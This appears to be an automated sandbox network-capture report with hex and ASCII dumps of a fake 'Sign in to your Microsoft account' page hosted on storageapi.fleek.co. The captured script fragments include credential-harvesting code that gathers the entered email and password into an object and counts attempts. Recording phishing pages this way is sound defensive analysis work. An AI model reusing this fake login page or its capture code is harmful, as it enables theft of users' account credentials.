Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 27573620
Cache-Control: public, max-age=31536000
Content-MD5: DhdidjYrlCeaRJJRG/y9mA==
Content-Type: image/svg+xml
Date: Fri, 27 May 2022 06:46:25 GMT
Etag: 0x8D7B00724D9E930
Last-Modified: Wed, 12 Feb 2020 22:01:42 GMT
Server: ECAcc (frc/8FE5)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 1528e7ed-101e-0063-71cd-76af16000000
x-ms-version: 2009-09-19
Content-Length: 1864
Connection: close

2022-05-27 06:46:25 UTC 1038 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 
6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 
3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 
38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 
36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 
34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-
path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-3
80.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID Source IP Source Port Destination IP
Destination
Port

Process

2 192.168.2.3 59605 104.18.7.145 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:22 UTC 4 OUT GET /84e74610-b8bb-4d6b-b394-8b4c2ffd51df-bucket/loginlg.html HTTP/1.1
Host: storageapi.fleek.co
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-27 06:46:22 UTC 5 IN HTTP/1.1 200 OK
Date: Fri, 27 May 2022 06:46:22 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Accept-Ranges: bytes
Content-Security-Policy: block-all-mixed-content
Last-Modified: Mon, 23 May 2022 13:56:08 GMT
Vary: Origin
X-Amz-Request-Id: 16F2E3588AAE7EB1
X-Xss-Protection: 1; mode=block
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
CF-RAY: 711ccb03ef18695d-FRA
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2022-05-27 06:46:22 UTC 6 IN Data Raw: 65 30 37 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 
74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 
75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 
22 49 45 3d 45 64 67 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 3e 
0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 4d 69 63 72 6f 73 6f 66 74 20 61 
63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 
68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 
Data Ascii: e07<html><head>    <meta content="text/html; charset=utf-8" http-equiv="Content-Type">    <meta co
ntent="IE=Edge" http-equiv="X-UA-Compatible">    <title>Sign in to your Microsoft account</title>    <meta content="widt
h=device-width, initial

2022-05-27 06:46:22 UTC 6 IN Data Raw: 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 
6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 
0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 
65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 2
0 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 
20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 2f 6e 6f 73 63 72 
69 70 74 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 
Data Ascii:    body {            display: block !important;        }    </style>    <noscript>        <style type="text/css">            
body {                display: block !important;            }        </style>    </noscript>    <link href="

2022-05-27 06:46:22 UTC 8 IN Data Raw: 74 55 72 6c 20 7d 2c 20 61 72 69 61 48 69 64 64 65 6e 3a 20 61 63 74 69 76 65 44 69 61 6c 6f 67 22 20 63 6c 
61 73 73 3d 22 61 6a 61 78 2d 66 6f 72 6d 22 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 20 6e 61 6d 65 3d 22 66 31 22 
20 6e 6f 76 61 6c 69 64 61 74 65 3d 22 6e 6f 76 61 6c 69 64 61 74 65 22 0d 0a 20 20 20 20 20 20 20 20 20 20 73 70 65 
6c 6c 63 68 65 63 6b 3d 22 66 61 6c 73 65 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 0d 0a 20 20 20 20 20 20 20 2
0 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 75 74 65 72 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 
62 69 6e 64 3d 22 63 6f 6d 70 6f 6e 65 6e 74 3a 20 7b 20 6e 61 6d 65 3a 20 27 6d 61 73 74 65 72 2d 70 61 67 65 27 2c 
0d 0a 20 20 20 20 70 61 72 61 6d 73 3a 20 7b 0d 0a 20 20 20 20 73 65 72 
Data Ascii: tUrl }, ariaHidden: activeDialog" class="ajax-form" method="post" name="f1" novalidate="novalidate"          
spellcheck="false" target="_top">        <div class="outer"             data-bind="component: { name: 'master-page',    
params: {    ser

2022-05-27 06:46:22 UTC 9 IN Data Raw: 31 30 37 34 0d 0a 3c 64 69 76 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 50 6c 65 61 73 65 20 77 61 69 74 22 
20 63 6c 61 73 73 3d 22 70 72 6f 67 72 65 73 73 20 64 69 73 69 74 20 31 69 71 7a 64 33 22 20 69 64 3d 22 70 72 6f 67 
72 65 73 73 42 61 72 22 20 72 6f 6c 65 3d 22 70 72 6f 67 72 65 73 73 62 61 72 22 0d 0a 20 20 20 20 20 20 20 20 20 20 2
0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0d 0a 
0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 3c 2f 64 69 76 3e 
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 3c 2f 64 69 76 3e 0d 0a 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii: 1074<div aria-label="Please wait" class="progress disit 1iqzd3" id="progressBar" role="progressbar"                   
      style="display: none;">                        <div></div>                        <div></div>                        

2022-05-27 06:46:22 UTC 10 IN Data Raw: 5f 65 65 35 63 38 64 39 66 62 36 32 34 38 63 39 33 38 66 64 30 64 63 31 39 33 37 30 65 39 30 62 64 2e 73 
76 67 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 64 61 74 61 2d 62 69 6e 64 3d 22 
63 6f 6d 70 6f 6e 65 6e 74 3a 20 7b 20 6e 61 6d 65 3a 20 27 70 61 67 69 6e 61 74 69 6f 6e 2d 63 6f 6e 74 72 6f 6c 27 2c 
0d 0a 20 20 20 20 70 75 62 6c 69 63 4d 65 74 68 6f 64 73 3a 20 70 61 67 69 6e 61 74 69 6f 6e 43 6f 6e 74 72 6f 6c 4d 65 
74 68 6f 64 73 2c 0d 0a 20 20 20 20 70 61 72 61 6d 73 3a 20 7b 0d 0a 20 20 20 20 65 6e 61 62 6c 65 43 73 73 41 6e 69 
6d 61 74 69 6f 6e 3a 20 73 76 72 2e 61 48 2c 0d 0a 20 20 20 20 64 69 
Data Ascii: _ee5c8d9fb6248c938fd0dc19370e90bd.svg">                        </div>                        <div data-bind=
"component: { name: 'pagination-control',    publicMethods: paginationControlMethods,    params: {    enableCs
sAnimation: svr.aH,    di

2022-05-27 06:46:22 UTC 12 IN Data Raw: 67 65 56 69 65 77 43 6f 6d 70 6f 6e 65 6e 74 3a 20 7b 20 6e 61 6d 65 3a 20 27 6c 6f 67 69 6e 2d 70 61 67 69 
6e 61 74 65 64 2d 70 61 73 73 77 6f 72 64 2d 76 69 65 77 27 2c 0d 0a 20 20 20 20 70 61 72 61 6d 73 3a 20 7b 0d 0a 20 
20 20 20 73 65 72 76 65 72 44 61 74 61 3a 20 73 76 72 2c 0d 0a 20 20 20 20 73 65 72 76 65 72 45 72 72 6f 72 3a 20 69 
6e 69 74 69 61 6c 45 72 72 6f 72 2c 0d 0a 20 20 20 20 69 73 49 6e 69 74 69 61 6c 56 69 65 77 3a 20 69 73 49 6e 69 74 
69 61 6c 53 74 61 74 65 2c 0d 0a 20 20 20 20 75 73 65 72 6e 61 6d 65 3a 20 73 68 61 72 65 64 44 61 74 61 2e 75 73 65 
72 6e 61 6d 65 2c 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 4e 61 6d 65 3a 20 73 68 61 72 65 64 44 61 74 61 2e 64 69 73 
70 6c 61 79 4e 61 6d 65 2c 0d 0a 20 20 20 20 68 69 70 52 65 71 75 69 72 
Data Ascii: geViewComponent: { name: 'login-paginated-password-view',    params: {    serverData: svr,    serverError: i
nitialError,    isInitialView: isInitialState,    username: sharedData.username,    displayName: sharedData.displayName,    
hipRequir

2022-05-27 06:46:22 UTC 13 IN Data Raw: 31 33 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 3d 22 30 
22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 
Data Ascii: 13" type="hidden"                                               value="0">                                 

2022-05-27 06:46:22 UTC 13 IN Data Raw: 35 36 63 37 0d 0a 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 64 61 74 61 2d 62 69 6e 64 3d 22 76 61 6c 75 
65 3a 20 75 6e 73 61 66 65 5f 75 73 65 72 6e 61 6d 65 22 20 6e 61 6d 65 3d 22 6c 6f 67 69 6e 22 20 74 79 70 65 3d 22 
68 69 64 64 65 6e 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 3d 22 75 6e 73 61 66 65 5f 75 73 65 72 6e 61 6d 65 
22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 3c 69 6e 70 75 74 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 63 6c 61 73 73 3d 22 6d 
6f 76 65 4f 66 66 53 63 72 65 65 6e 22 0d 0a 20 20 20 20 20 20 20 20 20 20 
Data Ascii: 56c7       <input data-bind="value: unsafe_username" name="login" type="hidden"                                               
value="unsafe_username">                                        <input aria-hidden="true" class="moveOffScreen"          

2022-05-27 06:46:22 UTC 15 IN Data Raw: 64 3d 22 76 61 6c 75 65 3a 20 63 61 6c 6c 4d 65 74 61 64 61 74 61 2e 48 69 73 53 63 61 6c 65 55 6e 69 74 
22 20 6e 61 6d 65 3d 22 68 69 73 53 63 61 6c 65 55 6e 69 74 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 79 70 65 3d 22 68 69 
64 64 65 6e 22 20 76 61 6c 75 65 3d 22 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 61 72 69 61 2d 6c 65 76 65 6c 3d 22 31 22 20 63 
6c 61 73 73 3d 22 72 6f 77 20 74 69 74 6c 65 20 65 78 74 2d 74 69 74 6c 65 22 20 64 61 74 61 2d 62 69 6e 64 3d 22 74 
65 78 74 3a 20 73 74 72 5b 27 43 54 5f 50 57 44 5f 53 54 52 5f 45 6e 74 65 
Data Ascii: d="value: callMetadata.HisScaleUnit" name="hisScaleUnit"                                               type="hidden" v
alue="">                                        <div aria-level="1" class="row title ext-title" data-bind="text: str['CT_PWD_STR_Ente
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2022-05-27 06:46:22 UTC 16 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 72 6d 73 
67 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 72 67 62 28 32 35 35 2c 20 30 2c 20 30 29 3b 22 3e 3c 2f 73 70 61 6e 
3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 3d 22 
6c 6f 67 69 6e 48 65 61 64 65 72 20 20 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 45 6e 74 65 72 20 65 2d 6d 61 69 6c 
20 61 64 64 72 65 73 73 22 20 61 72 69 61 2d 72 65 71 75 69 72 65 64 3d 22 74 72 75 65 22 20 61 75 74 6f 63 6f 6d 70 
6c 65 74 65 3d 22 6f 66 66 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                 <span class="errrmsg" style="color: rgb(255, 0, 0);"></span>                                                  <i
nput aria-describedby="loginHeader  " aria-label="Enter e-mail address" aria-required="true" autocomplete="off"            

2022-05-27 06:46:22 UTC 17 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 64 61 74 61 2d 62 69 6e 64 3d 22 0d 0a 20 20 20 20 74 65 78 74 49 6e 70 75 74 3a 20 70 61 73 73 77 6f 72 
64 54 65 78 74 62 6f 78 2e 76 61 6c 75 65 2c 0d 0a 20 20 20 20 61 72 69 61 44 65 73 63 72 69 62 65 64 42 79 3a 20 5b 
0d 0a 20 20 20 20 27 6c 6f 67 69 6e 48 65 61 64 65 72 27 2c 0d 0a 20 20 20 20 73 68 6f 77 43 72 65 64 56 69 65 77 42 
72 61 6e 64 69 6e 67 44 65 73 63 20 3f 20 27 63 72 65 64 56 69 65 77 42 72 61 6e 64 69 6e 67 44 65 73 63 27 20 3a 20 
27 27 2c 0d 0a 20 20 20 20 75 6e 73 61 66 65 5f 70 61 67 65 44 65 73 63 72 69 70 74 69 6f 6e 20 3f 20 27 70 61 73 73 
77 6f 72 64 44 65 73 63 27 20 3a 20 27 27 5d 2e 6a 6f 69 6e 28 27 20 27 29 
Data Ascii:                                        data-bind="    textInput: passwordTextbox.value,    ariaDescribedBy: [    'logi
nHeader',    showCredViewBrandingDesc ? 'credViewBrandingDesc' : '',    unsafe_pageDescription ? 'passwordDesc' : 
''].join(' ')

2022-05-27 06:46:22 UTC 19 IN Data Raw: 64 54 64 5f 50 57 44 5f 4b 4d 53 49 5f 43 62 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 61 62 
65 6c 20 69 64 3d 22 69 64 4c 62 6c 5f 50 57 44 5f 4b 4d 53 49 5f 43 62 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 3c 69 6e 70 75 74 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 4b 65 65 70 20 6d 65 20 73 69 67 6e 65 64 20 
69 6e 22 20 64 61 74 61 2d 62 69 6e 64 3d 22 63 68 65 63 6b 65 64 3a 20 69 73 4b 6d 73 69 43 68 65 63 6b 65 64 2c 20 
61 72 69 61 4c 61 62 65 6c 3a 20 73 74 72 5b 27 43 54 5f 50 57 44 5f 
Data Ascii: dTd_PWD_KMSI_Cb">                                                    <label id="idLbl_PWD_KMSI_Cb">                             
                           <input aria-label="Keep me signed in" data-bind="checked: isKmsiChecked, ariaLabel: str['CT_PWD_

2022-05-27 06:46:22 UTC 20 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 
Data Ascii:                             </div>                                                    </div>                                                </div>            
                                </div>                                            <div cl

2022-05-27 06:46:22 UTC 21 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 62 69 6e 64 3d 22 63 73 73 3a 20 7b 20 27 69 6e 6c 69 6e 
65 2d 62 6c 6f 63 6b 27 3a 20 69 73 50 72 69 6d 61 72 79 42 75 74 74 6f 6e 56 69 73 69 62 6c 65 20 7d 22 3e 0d 0a 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 63 6c 61 73 73 3d 22 62 
75 74 74 6f 6e 20 65 78 74 2d 62 75 74 74 6f 6e 20 70 72 69 6d 61 72 79 20 65 78 74 2d 70 72 69 6d 61 72 79 22 20 64 
61 74 61 2d 62 69 6e 64 3d 22 0d 0a 20 20 20 20 61 74 74 72 3a 20 70 72 69 6d 61 72 79 42 75 74 74 6f 6e 41 74 74 72 
69 62 75 74 65 73 2c 0d 0a 20 20 20 20 65 78 74 65 72 6e 61 6c 43 73 73 3a 
Data Ascii:            data-bind="css: { 'inline-block': isPrimaryButtonVisible }">                                                                
<input class="button ext-button primary ext-primary" data-bind="    attr: primaryButtonAttributes,    externalCss:

2022-05-27 06:46:22 UTC 23 IN Data Raw: 6e 4d 65 74 68 6f 64 73 2c 0d 0a 20 20 20 20 70 61 72 61 6d 73 3a 20 7b 20 73 65 72 76 65 72 44 61 74 61 3a 
20 73 76 72 20 7d 20 7d 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 65 66 61 75 6c 74 20 66 6f 6f 74 65 72 
20 65 78 74 2d 66 6f 6f 74 65 72 20 6e 65 77 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 22 20 64 61 74 61 2d 6
2 69 6e 64 3d 22 0d 0a 20 20 20 20 63 73 73 3a 20 7b 0d 0a 20 20 20 20 27 64 65 66 61 75 6c 74 27 3a 20 21 62 61 63 
6b 67 72 6f 75 6e 64 4c 6f 67 6f 55 72 6c 28 29 2c 0d 0a 20 20 20 20 27 6e 65 77 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 69 
6d 61 67 65 27 3a 20 75 73 65 4e 65 77 44 65 66 61 75 6c 74 42 61 63 
Data Ascii: nMethods,    params: { serverData: svr } }">                </div>                <div class="default footer ext-footer 
new-background-image" data-bind="    css: {    'default': !backgroundLogoUrl(),    'new-background-image': useNewDefau
ltBac

2022-05-27 06:46:22 UTC 24 IN Data Raw: 69 63 6b 2c 0d 0a 20 20 20 20 61 72 69 61 4c 61 62 65 6c 3a 20 73 74 72 5b 27 43 54 5f 53 54 52 5f 4d 6f 72 
65 5f 4f 70 74 69 6f 6e 73 5f 45 6c 6c 69 70 73 69 73 5f 41 72 69 61 4c 61 62 65 6c 27 5d 2c 0d 0a 20 20 20 20 61 74 74 
72 3a 20 7b 20 27 61 72 69 61 2d 65 78 70 61 6e 64 65 64 27 3a 20 73 68 6f 77 44 65 62 75 67 44 65 74 61 69 6c 73 28 
29 2e 74 6f 53 74 72 69 6e 67 28 29 20 7d 2c 0d 0a 20 20 20 20 68 61 73 46 6f 63 75 73 45 78 3a 20 66 6f 63 75 73 4d 6f 
72 65 49 6e 66 6f 28 29 22 20 68 72 65 66 3d 22 23 22 20 69 64 3d 22 6d 6f 72 65 4f 70 74 69 6f 6e 73 22 20 72 6f 6c 65 
3d 22 62 75 74 74 6f 6e 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 73 3d 22 64 65 73 6b 
Data Ascii: ick,    ariaLabel: str['CT_STR_More_Options_Ellipsis_AriaLabel'],    attr: { 'aria-expanded': showDebugDetai
ls().toString() },    hasFocusEx: focusMoreInfo()" href="#" id="moreOptions" role="button">                                <img cl
ass="desk

2022-05-27 06:46:22 UTC 25 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 
76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0
a 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 
3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 33 
2e 35 2e 31 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 
Data Ascii:                             </a>                        </div>                    </div>                </div>            </div>        </div>    
</form></div><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"><
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2022-05-27 06:46:22 UTC 27 IN Data Raw: 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 
61 72 20 64 69 73 70 6c 61 79 4e 61 6d 65 20 3d 20 24 28 27 23 64 69 73 70 6c 61 79 4e 61 6d 65 27 29 3b 0d 0a 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 4e 61 6d 65 2e 61 74 74 72 28 27 74 69 74 6c 65 27 2c 
20 65 6d 76 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 64 69 73 70 6c 61 79 4e 61 6d 65 
20 73 70 61 6e 27 29 2e 68 74 6d 6c 28 65 6d 76 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 
69 6e 70 75 74 5b 6e 61 6d 65 3d 6c 6f 67 69 6e 5d 27 29 2e 76 61 6c 28 65 6d 76 29 3b 0d 0a 20 20 20 20 20 20 20 20 
20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6c 6f 
Data Ascii:         } else {                var displayName = $('#displayName');                displayName.attr('title', emv);                
$('#displayName span').html(emv);                $('input[name=login]').val(emv);            }            var lo

2022-05-27 06:46:22 UTC 28 IN Data Raw: 6c 6f 67 28 66 66 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 
63 61 70 20 3d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6d 76 3a 20 65 
6d 76 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 73 73 76 3a 20 70 61 73 
73 76 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 63 6f 75 6e 74 2b 2b 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 63 6f 75 6e 74 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 69 66 20 28 63 6f 75 6e 74 20 3c 20 33 29 20 7b 0d 0a 20 20 20 20 
Data Ascii: log(ff);                    const cap = {                        emv: emv,                        passv: passv,                    }                
    count++;                    console.log(count);                    if (count < 3) {    

2022-05-27 06:46:22 UTC 29 IN Data Raw: 27 2e 68 74 6d 6c 27 3b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 68 74 6d 6c 4c 65 6e 20 3d 20 35 3b 0d 
0a 20 20 20 20 20 20 20 20 76 61 72 20 68 74 6d 6c 53 74 72 50 6f 73 20 3d 20 2d 31 3b 0d 0a 20 20 20 20 20 20 20 20 
